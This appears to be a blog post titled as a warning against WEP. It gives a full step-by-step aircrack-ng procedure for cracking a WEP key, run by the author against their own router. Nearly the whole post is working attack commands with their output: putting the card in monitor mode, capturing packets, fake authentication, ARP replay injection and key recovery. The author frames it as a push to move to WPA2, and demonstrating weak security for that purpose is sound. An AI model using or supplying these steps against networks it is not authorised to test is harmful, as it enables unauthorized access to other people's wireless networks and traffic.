Cracking WEP by AndrzejL aka one of the reasons why You SHOULD NEVER USE WEP TO SECURE YOUR ROUTER!

I have noticed (while connecting to my own AP) that many people around still use WEP encryption and I just felt dizzy… After I have counted to 10 I have decided to write this up:

Cracking WEP by AndrzejL aka one of the reasons why You SHOULD NEVER USE WEP to secure Your router!

This is NOT a “HOW TO CRACK WEP” tutorial. This is a warning. Warning that should be taken as “WOW! This WEP stuff is really not secure… I better change my router to personal WPA2 right away…”. Please do not use this knowledge to do illegal stuff. I used my own wireless router in my own wireless network for this demonstration. Breaking into WEP secured networks is illegal. You have been warned.

0) Install aircrack-ng-svn from ArchLinux AUR repository:


1) Check the name of the wireless interface


says it’s wlan0

2) Check mac address of wlan0

ifconfig wlan0


3) Optional – not necessary under Backtrack. Kill unnecessary network services that can mess You up:

airmon-ng check kill


Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
23899   ifplugd
Killing all those processes…

4) Create wireless interface in monitor mode:

airmon-ng start wlan0

5) Check the name of the wireless monitor mode interface


says it’s mon0

6) Start sniffing to collect router’s data

airodump-ng mon0

Stop airodump with CTRL + C

Information gathered:

Router’s ESSID: Arch_Linux_User

    INFO: If ESSID contains spaces put it in the “” or ‘ ‘ in next commands ie “Arch Linux User” or ‘Arch Linux User’.

Router’s CHANNEL: ZZ

7) Kill mon0 interface:

airmon-ng stop mon0

8) Start mon0 fixed at the AP’s channel:

airmon-ng start wlan0 ZZ

9) Now re-write Your sniffing command so it sniffs the right channel / bssid and so it saves the captured packets into a file:

airodump-ng -c ZZ --bssid XX:XX:XX:XX:XX:XX -w ./output mon0

    IF You get “Fixed channel mon0: -1” in the right hand corner of the sniffer – then rewrite Your command again by adding –ignore-negative-one so it looks like this:

airodump-ng -c ZZ --bssid XX:XX:XX:XX:XX:XX  --ignore-negative-one -w ./output mon0

    Leave this command running and saving packets.


10) Check if the card is capable of packet injection:

aireplay-ng -9 mon0

    16:10:47  Injection is working!

11) Try to auth with router:

aireplay-ng -1 0 -e Arch_Linux_User -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY mon0

    if You get this error:

16:20:36 Waiting for beacon frame (XX:XX:XX:XX:XX:XX) on channel -1
15:38:33  Couldn’t determine current channel for mon0, you should either force the operation with –ignore-negative-one or apply a kernel patch.

    just rewrite Your command by adding “–ignore-negative-one” switch.


aireplay-ng -1 0 -e Arch_Linux_User -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY --ignore-negative-one mon0

This command will (should) auth You with a router and then give You the prompt back.

0 – this can take a value between 0 and 512 (experiment)
-e router’s ESSID
-a router’s BSSID
-h Your card’s MAC address
–ignore-negative-one fixes the above mentioned error

IF You want to stop this command use CTRL + C

16:16:28  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1

16:16:28  Sending Authentication Request (Open System) [ACK]
16:16:28  Authentication successful
16:16:28  Sending Association Request [ACK]
16:16:28  Association successful 🙂 (AID: 1)

🙂 now fiddle with the “0” in the command – change it’s values to something between 1 and 512.


aireplay-ng -1 1 -e Arch_Linux_User -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY --ignore-negative-one mon0

    Leave this command running.


12) Start to inject:

aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY mon0

    If You get these errors:

16:21:36  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1
16:21:36  Couldn’t determine current channel for mon0, you should either force the operation with –ignore-negative-one or apply a kernel patch
Please specify an ESSID (-e).

    rewrite the command by adding “-e Arch_Linux_User” and “–ignore-negative-one” switches.


aireplay-ng -3 -e Arch_Linux_User -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY --ignore-negative-one mon0

Meanwhile You can (but You do not have to) fiddle with the airmon-ng “-1” command in the second window. Change the value of “0” to different values between 1 and 512 – see which is better for You… Sometimes 1 will do juuuust fine.

    After a while You _should_ receive ARP request packet… and… START TO INJECT THEM.


13) When collected some ARP packets You can start the cracking process:

aircrack-ng -z ./output*.cap

and soon after that You should be able to see this sort of message:

KEY FOUND! [ 2C:BD:3D:AC:D5:97:59:57:28:CE:3C:B9:F5 ]
Decrypted correctly: 100%

That’s it… You’re all done…

It takes less then 5 minutes to crack WEP key… 5 minutes guys and girls… and Your wireless network has been compromised… Now please tell me that You have changed the default administrator’s password for the router? Please please tell me You did at least that…




"Never meet Your heroes. Most of the time you'll only end up disappointed." White Polak Male Husband Employee Hetero Carnivorous Fugly Geek @$$hole with ADD Catholic “Some men just want to watch the world burn.”

Comments are closed.